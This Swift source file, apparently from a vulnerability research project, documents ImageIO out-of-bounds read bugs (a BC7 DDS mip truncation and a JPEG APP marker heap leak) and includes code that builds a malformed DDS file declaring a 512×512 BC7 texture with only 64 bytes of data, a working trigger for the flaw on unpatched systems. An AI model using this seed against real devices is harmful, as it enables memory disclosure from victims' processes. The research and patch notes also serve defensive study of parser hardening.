83 lines
4.2 KiB
Swift
83 lines
4.2 KiB
Swift
// iio.dds.bc7 · ImageIO · BCReadPlugin::initialize · CVE-2026-112627
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// 原语: OOB 读 · 进程内 · tier 2
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// Primitive: OOB read · in-process · tier 2
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//
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// [zh] BC7 纹理 mip 截断
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// 截断的 mip 层级在 27.0 仅产生一条 WARNING 后继续块解码，块解码器随即读到数据之外。27.2 将「零个完整 mip」变为硬错误，并补上 64 位 mip 尺寸运算与尺寸/数据量闸门。
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//
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// [en] BC7 texture mip truncation
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// A truncated mip level produces only a WARNING on 27.0 and block decoding continues, so the block
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// decoder reads past the data. iOS 27.2 turns "zero complete mips" into a hard error and adds 64-bit
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// mip size arithmetic plus dimension and data-size gates.
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// ── 判别 / oracle ──
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// 512×512 BC7 需要 65536 字节，实际只给 64 字节。
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// 变体 iio.appx: APP 标记越界读 → 泄露字节写进输出 JPEG
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import Foundation
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// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
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enum B {
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static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
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static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
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static func be32(_ v: UInt32) -> [UInt8] {
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[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
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}
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static func le32(_ v: UInt32) -> [UInt8] {
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[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
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}
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static func be64(_ v: UInt64) -> [UInt8] {
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(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
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}
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static func le64(_ v: UInt64) -> [UInt8] {
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(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
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}
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static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
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static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
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static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
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}
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/*
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// iio.appx · ImageIO · _APPx::writeToStream · CVE-2026-112627 / 112561
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// 原语: 信息泄露 · 进程内 · tier 1
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// Primitive: info leak · in-process · tier 1
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//
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// [zh] APP 标记越界读 → 泄露字节写进输出 JPEG
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// _APPx::writeToStream 在 27.0 将 (buffer + offset, length) 原样写入输出流，不含任何边界运算。当标记声明的长度超出实际块时，重编码路径会把堆上相邻字节直接写入产出的
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// JPEG 文件 —— 泄露物即产物本身，不需要任何回传通道。27.2 计算 end − offset 并以 csel 钳制，超出时报 \"marker 0x%04X is out of bounds\"。
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//
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// [en] APP marker out-of-bounds read → leaked bytes written into the output JPEG
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// _APPx::writeToStream on 27.0 writes (buffer + offset, length) straight to the output stream with
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// no bounds arithmetic at all. When a marker declares a length beyond the actual block, the re-encode
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// path writes adjacent heap bytes directly into the produced JPEG — the leak is the artifact itself,
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// needing no exfiltration channel. iOS 27.2 computes end − offset and clamps with csel, reporting
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// "marker 0x%04X is out of bounds" when it overruns.
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*/
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// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TexturePayload) ──
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enum TexturePayload {
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static func bc7Short(width: Int = 512, height: Int = 512, dataBytes: Int = 64) -> Data {
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var out = Data("DDS ".utf8)
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out.append(contentsOf: B.le32(124))
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out.append(contentsOf: B.le32(0x00081007))
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out.append(contentsOf: B.le32(UInt32(height)))
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out.append(contentsOf: B.le32(UInt32(width)))
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out.append(contentsOf: B.le32(0))
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out.append(contentsOf: B.le32(0))
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out.append(contentsOf: B.le32(1))
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out.append(contentsOf: [UInt8](repeating: 0, count: 44))
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out.append(contentsOf: B.le32(32))
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out.append(contentsOf: B.le32(0x4))
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out.append(contentsOf: B.ascii("DX10"))
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out.append(contentsOf: [UInt8](repeating: 0, count: 20))
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out.append(contentsOf: B.le32(0x1000))
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out.append(contentsOf: B.le32(0) + B.le32(0) + B.le32(0) + B.le32(0))
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// DX10 header — DXGI_FORMAT_BC7_UNORM = 98, TEXTURECUBE off, arraySize 1
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out.append(contentsOf: B.le32(98) + B.le32(3) + B.le32(0) + B.le32(1) + B.le32(0))
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out.append(contentsOf: [UInt8](repeating: 0, count: max(1, dataBytes)))
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return out
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}
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}
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